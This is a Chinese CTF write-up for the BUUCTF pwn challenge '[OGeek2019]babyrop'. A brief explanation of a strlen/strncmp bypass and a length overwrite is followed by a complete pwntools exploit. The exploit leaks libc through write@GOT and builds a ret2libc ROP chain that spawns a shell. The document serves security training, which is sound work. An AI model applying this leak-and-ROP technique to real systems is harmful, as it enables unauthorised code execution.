【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop

0x01 解题思路

  • 文件基本信息
    【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop_第1张图片
  • IDA查看
    【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop_第2张图片
    【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop_第3张图片
      读取一个随机数,然后与用户输入作比较,需要绕过。strlen遇到\x00会停止,因此只要开头为\x00,最终比较的长度v1就是0,从而绕过strncmp。
    【Writeup】BUUCTF_Pwn_[OGeek2019]babyrop_第4张图片
      这里read的第三个读取长度参数实际上是前一个函数的返回值,可以通过上一次输入覆盖为\xff,然后就可以利用栈溢出进行常规ROP了。

0x02 EXP

#!/usr/bin/python
#coding:utf-8

from pwn import *

#context.log_level = 'debug'

io = process('./pwn',env={"LD_PRELOAD":"./libc-2.23.so"})
#io = remote('node1.buuoj.cn', 28034)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def debug():
	global io
	addr = raw_input("[+]debug:")
	gdb.attach(io, "b *"+addr)

'''
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
'''
write_plt_addr = elf.plt['write']
write_got_addr = elf.got['write']
main_addr = 0x08048825
bin_sh_offset = 0x15902b # by libc-database

payload = "\x00"
payload += "\xff"*7

io.sendline(payload)
io.recvuntil("Correct\n")

offset = 0xE7
payload = 'A'*(offset+4)
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)

io.sendline(payload)

data = io.recv(4)
write_addr = u32(data)
print "[+]write_addr:",hex(write_addr)
libc_base_addr = write_addr - libc.symbols['write']
print "[+]libc_base_addr:",hex(libc_base_addr)
system_addr = libc_base_addr + libc.symbols['system']
print "[+]system_addr:",hex(system_addr)
bin_sh_addr = libc_base_addr + bin_sh_offset
print "[+]bin_sh_addr:",hex(bin_sh_addr)

payload = "\x00"
payload += "\xff"*7

io.sendline(payload)
io.recvuntil("Correct\n")

payload = 'A'*(offset+4)
payload += p32(system_addr)
payload += 'AAAA'
payload += p32(bin_sh_addr)

#debug()
#pause()
io.sendline(payload)
io.interactive()

你可能感兴趣的:(BUUCTF,-,Writeups)